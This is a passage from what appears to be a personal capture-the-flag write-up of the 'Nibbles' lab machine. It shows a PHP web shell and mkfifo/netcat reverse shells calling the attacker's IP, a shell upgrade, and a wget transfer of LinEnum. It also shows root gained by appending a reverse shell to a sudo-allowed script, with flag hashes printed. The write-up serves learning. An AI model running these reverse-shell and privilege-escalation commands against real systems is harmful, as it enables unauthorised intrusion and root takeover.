<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.246 9443 >/tmp/f"); ?>
Then, we will do what have done before, upload file. The file size is changed.
Now, we need open a netcat to listen remote shell request, and execute this php code.
┌─[chao@parrot]─[~/Desktop]
└──╼ $curl 10.129.248.244/nibbleblog/content/private/plugins/my_image/image.php
┌─[chao@parrot]─[~]
└──╼ $nc -lvnp 9443
listening on [any] 9443 ...
connect to [10.10.15.246] from (UNKNOWN) [10.129.248.244] 35496
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
$
It does work, but we need to upgrade this reverse shell to full interactive shell for better use to get more details as this shell cannot do specific commands such as su will not work, we cannot use text editors, tab-completion does not work, etc. Here is a good post for upgrade simple shell to fully tty shell.
We can use python methods: this server does not support python but support python as we use which verified.
which can be used to verify the path of one command
语法
which [command]
查找 python 可执行文件的位置:
which python
输出可能是:
/usr/bin/python
┌─[chao@parrot]─[~]
└──╼ $nc -lvnp 9443
listening on [any] 9443 ...
connect to [10.10.15.246] from (UNKNOWN) [10.129.248.244] 35496
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
$ python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 2: python: not found
$ which
$ which python
$ which python3
/usr/bin/python3
$ which python2
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$
Now, we gain the user permission.
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ ls
ls
db.xml image.php
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home
<ml/nibbleblog/content/private/plugins/my_image$ cd /home >
nibbler@Nibbles:/home$ ls
ls
nibbler
nibbler@Nibbles:/home$ cd nibbler
cd nibbler
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
79c03865431abf47b90ef24b9695e148
Now, it is privilege escalation stage.
We can use sudo -l command to look for what we can perform with root right and without password.
nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Alternatively, we can use LinEnum.sh to automated do a verification of privilege escalation checks.
Either create file directly on target's machine or create one on local machine and send to target.
However, we do not have permission to write file, so have to try sending file.
In our local machine, use sudo python3 -m http.server 8080 to create server
┌─[chao@parrot]─[~/Desktop]
└──╼ $sudo python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.248.244 - - [11/Jul/2024 10:56:42] "GET /LinEnum.sh HTTP/1.1" 200 -
In remote machine, use wget to download file
nibbler@Nibbles:/home/nibbler$ which wget
which wget
/usr/bin/wget
nibbler@Nibbles:/home/nibbler$ wget http://10.10.15.58:8080/LinEnum.sh
wget http://10.10.15.58:8080/LinEnum.sh
--2024-07-10 18:56:42-- http://10.10.15.58:8080/LinEnum.sh
Connecting to 10.10.15.58:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'
LinEnum.sh 100%[===================>] 45.54K 78.5KB/s in 0.6s
2024-07-10 18:56:43 (78.5 KB/s) - 'LinEnum.sh' saved [46631/46631]
Once the script is pulled over, type chmod +x LinEnum.sh to make the script executable and then type ./LinEnum.sh to run it.
nibbler@Nibbles:/home/nibbler$ ls
ls
LinEnum.sh personal.zip user.txt
nibbler@Nibbles:/home/nibbler$ chmod +x LinEnum.sh
chmod +x LinEnum.sh
nibbler@Nibbles:/home/nibbler$ ./LinEnum.sh
./LinEnum.sh
There will be tons of information, but we here only can see this:
[-] Super user account(s):
root
[+] We can sudo without supplying a password!
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Actually, the result is same as before. Then, we can add some code into monitor.sh
nibbler@Nibbles:/home/nibbler$ ls
ls
LinEnum.sh personal.zip user.txt
nibbler@Nibbles:/home/nibbler$ rm LinEnum.sh
rm LinEnum.sh
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ cd /personal/stuff
cd /personal/stuff
bash: cd: /personal/stuff: No such file or directory
nibbler@Nibbles:/home/nibbler$ cd personal/stuff
cd personal/stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$
Append our code at the end of this file, do not overwrite original content!
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.58 8443 >/tmp/f' | tee -a monitor.sh
< /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.58 8443 >/tmp/f' | tee -a monitor.sh >
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.58 8443 >/tmp/f
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
Then, execute it without root password.
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh >
'unknown': I need something more specific.
In our machine, we have remote root permission.
┌─[✗]─[chao@parrot]─[~/Desktop]
└──╼ $nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.15.58] from (UNKNOWN) [10.129.248.244] 53142
# ls
monitor.sh
# cd /root
# ls
root.txt
# cat root.txt
de5e5d6619862a8aa5b9b212314e0cdd
#
Summary
The fastest record is only 2 hours and 20 mins, but I have done this with several days as I am a rookie. Let me summarise this processing.
- Scan to look for more detail. Know the opened port, get banners.
- Look for vulnerability according to information.
- Enumarate password, username, etc. Then exploit vulnerability to get user permission
- Privilege escalation, get root permission
Only thing I feel lucky is the user password.
What I have to learn more:
- nmap
- nc
- whatweb
- curl or ctrl+u
- gobuster
- metasploit
- curl or weblink
- xmllint
- the location of dictionaries
- privilege escalation command
- reverse shell command
- Some automate script like LinEnum.sh or sudo -l
- Not all command does work when try to create reverse shell and upgrade to fully TTY shell as different version, different command, or even target does not have these tools.